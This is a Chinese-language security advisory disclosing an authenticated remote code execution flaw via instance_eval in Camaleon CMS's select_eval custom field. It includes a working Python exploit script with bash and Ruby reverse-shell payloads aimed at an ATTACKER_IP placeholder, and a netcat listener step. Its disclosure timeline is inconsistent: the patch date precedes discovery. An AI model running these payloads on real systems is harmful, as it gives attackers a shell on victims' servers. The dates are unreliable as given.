
安全公告:Camaleon CMS - 通过 `select_eval` 自定义字段实现认证后远程代码执行
select_eval 自定义字段实现认证后 RCE分配的 CVE ID: CVE-2026-66748
产品: Camaleon CMS (https://github.com/owen2345/camaleon-cms)
受影响版本: 2.1.1 – 2.9.1(引入于提交 415cbda6 2015-10-16;修复于提交 15882366 2026-03-29 / v2.9.2)
严重性: 高
CVSS 4.0 评分: 8.7
CVSS 4.0 向量: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
CWE: CWE-94(代码注入)
研究员: Theodosis Paidakis
已通知厂商: 2026-06-21
相关公告: GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9(label_eval - 并行字段类型,相同根本原因,未分配 CVE)
select_eval 自定义字段类型将任意 Ruby 表达式存储在 field.options[:command] 中,并在每次渲染文章编辑页面时通过 ERB 视图中的 instance_eval 执行它。在 v2.9.2 之前,任何拥有 custom_fields 管理权限的用户——通常授予编辑角色账户——都可以创建此字段类型并实现服务器端 RCE。 字段会在使用该字段组的任何文章的每次页面渲染时触发;其输出成为下拉选项列表。该漏洞已在 v2.9.2 中修复。
select_eval文件: app/views/camaleon_cms/admin/settings/custom_fields/fields/_select_eval.html.erb
<%= select_tag "#{field_name}[#{field.slug}][values][]",
instance_eval(field.options[:command].to_s.strip),
class: "..." %>
instance_eval 使用来自数据库记录的原始字符串进行调用。没有沙箱,也没有对 ERB 绑定(这是一个完整的 Rails 视图上下文)中可访问的方法或常量进行编译时限制。
文件: app/models/camaleon_cms/ability.rb(v2.9.1,第 161-165 行)
custom_fields 从未被显式授予。文件上方有八个资源分别获得 can :manage(media、comments、themes、widgets、nav_menu、plugins、users、settings),而 custom_fields 不在其中。它只能通过这个兜底逻辑访问,该逻辑将 manage 授予角色 @roles_manager 哈希中存在的任何键,而不检查该键是否安全可授予:
@roles_manager.try(:each) do |rol_manage_key, val_role|
can :manage, rol_manage_key.to_sym if val_role.to_s.cama_true?
rescue StandardError
false
end
因此,任何角色设置了 custom_fields 位的用户都可以访问自定义字段控制器。在受影响范围内,该位通常授予编辑级角色。
v2.9.2 的重写将 can 替换为 safe_can 包装器,并添加了一个显式的 %i[...] 列表,其中包含 custom_fields 和 select_eval,但上述兜底循环在该版本中仍然存在。修复此问题的不是权限列表;而是 custom_fields_controller.rb 中的强参数允许列表和 custom_field_group.rb 中的 can?(:manage, :select_eval) 门控。
select_eval 字段类型旨在让开发者从存储在 CMS 数据库中的 Ruby 代码动态填充选择下拉框。通过 instance_eval 从数据库列执行任意 Ruby 等同于向任何能写入该值的人授予 shell 访问权限。权限要求是 custom_fields——一种常规的内容管理权限——而不是显式的特权位。
此发现已发布为 GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9,涵盖 Camaleon CMS 中并行的 label_eval 字段类型。该公告是五个发现(GHSL-2024-182 至 GHSL-2024-186)批次的一部分;五个中只有两个获得了 CVE 编号(CVE-2024-46986 和 CVE-2024-46987)。GHSL-2024-185 本身没有分配 CVE。
select_eval 和 label_eval 具有相同的根本原因——存储在数据库中的任意 Ruby 通过 ERB 视图中的 instance_eval 执行——但在其他所有维度上都不同:
label_eval (GHSL-2024-185) | select_eval(本报告) | |
|---|---|---|
| 执行位置 | 任何表单中的字段标签 | 文章编辑页面中的 select_tag |
| 写入路径 | 自定义字段标签文本 | field.options[:command] 元数据行 |
本报告仅涵盖 select_eval。没有现有的 CVE 或公开公告记录此特定字段类型及其利用路径。
受影响范围 v2.1.1 至 v2.9.1 是通过源代码分析确定的;利用已在 v2.9.1 上端到端确认。仅需一个拥有 custom_fields 权限的账户——无需服务器访问。
先决条件: 任何设置了 custom_fields 管理位的账户——受影响范围内的标准编辑角色权限。
步骤 1. 启动监听器:
nc -lnvp 4444
步骤 2. 运行脚本。编辑 BASE、ATTACKER_IP、TYPE_ID、POST_ID 和凭据。
TYPE_ID - 管理侧边栏 URL 中可见的文章类型 ID(例如 /admin/post_type/2/posts)。
POST_ID - 该类型下的任何文章 ID,来自文章列表编辑链接。
import requests, re, time
BASE = "http://target.example"
ATTACKER_IP = "ATTACKER_IP"
PORT = 4444
TYPE_ID = 2 # post type ID - from admin sidebar URL
POST_ID = 1 # any post under that type - from post list edit links
USERNAME = "editor" # any account with custom_fields manage permission
PASSWORD = "Editor1234!"
# Reverse shell. Thread.new keeps the page render from hanging.
# Payload strings must use double quotes so #{ } interpolation executes inside instance_eval.
PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{system("bash -i >& /dev/tcp/{ATTACKER_IP}/{PORT} 0>&1")}}}}'
# No-bash alternative (pure Ruby sockets, cross-platform):
# PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{require "socket";s=TCPSocket.open("{ATTACKER_IP}",{PORT});loop{{cmd=s.gets.chomp;s.puts(`#{{cmd}}`)}}}}}}'
# Proof-of-concept (non-destructive - id/hostname appear in select dropdown on the edit page):
# PAYLOAD = '[["id: #{`id`.strip}", "v"], ["host: #{`hostname`.strip}", "h"]]'
s = requests.Session()
r = s.get(f"{BASE}/admin/login")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)
s.post(f"{BASE}/admin/login", data={
"authenticity_token": csrf,
"user[username]": USERNAME,
"user[password]": PASSWORD,
})
r = s.get(f"{BASE}/admin/dashboard")
csrf = re.search(r'csrf-token" content="([^"]+)"', r.text).group(1)
idx = f"x{int(time.time())}"
r = s.post(f"{BASE}/admin/settings/custom_fields", data={
"authenticity_token": csrf,
"custom_field_group[name]": f"exploit_{idx}",
"custom_field_group[assign_group]": f"PostType_Post,{TYPE_ID}", # must be PostType_Post, not PostType
f"fields[{idx}][name]": "Shell",
f"fields[{idx}][slug]": f"rce_{idx}",
f"field_options[{idx}][field_key]": "select_eval",
f"field_options[{idx}][command]": PAYLOAD, # permit! passes this through unfiltered pre-v2.9.2
}, allow_redirects=True)
gid = re.search(r'/custom_fields/(\d+)', r.url)
print(f"Field group: id={gid.group(1) if gid else '?'} (HTTP {r.status_code})")
# Trigger: instance_eval fires when the edit form renders the select_eval field
r = s.get(f"{BASE}/admin/post_type/{TYPE_ID}/posts/{POST_ID}/edit")
print(f"Edit page: HTTP {r.status_code} - check listener")

任何拥有 custom_fields 权限的账户(v2.9.2 之前)可获得:
deploy、www-data、rails 等)的权限config/secrets.yml 读取 secret_key_base 允许为任何用户(包括管理员)伪造任意会话 cookie在 v2.9.2 之前,custom_fields 权限通常授予编辑角色用户。攻击者只要攻陷任何编辑级账户即可实现完整的服务器端 RCE。
2026-06-19 - 在 v2.9.2 和 v2.9.1 的源代码分析期间发现 2026-06-21 - 已通知厂商 2026-03-29 - 补丁已发布(v2.9.2,提交 15882366)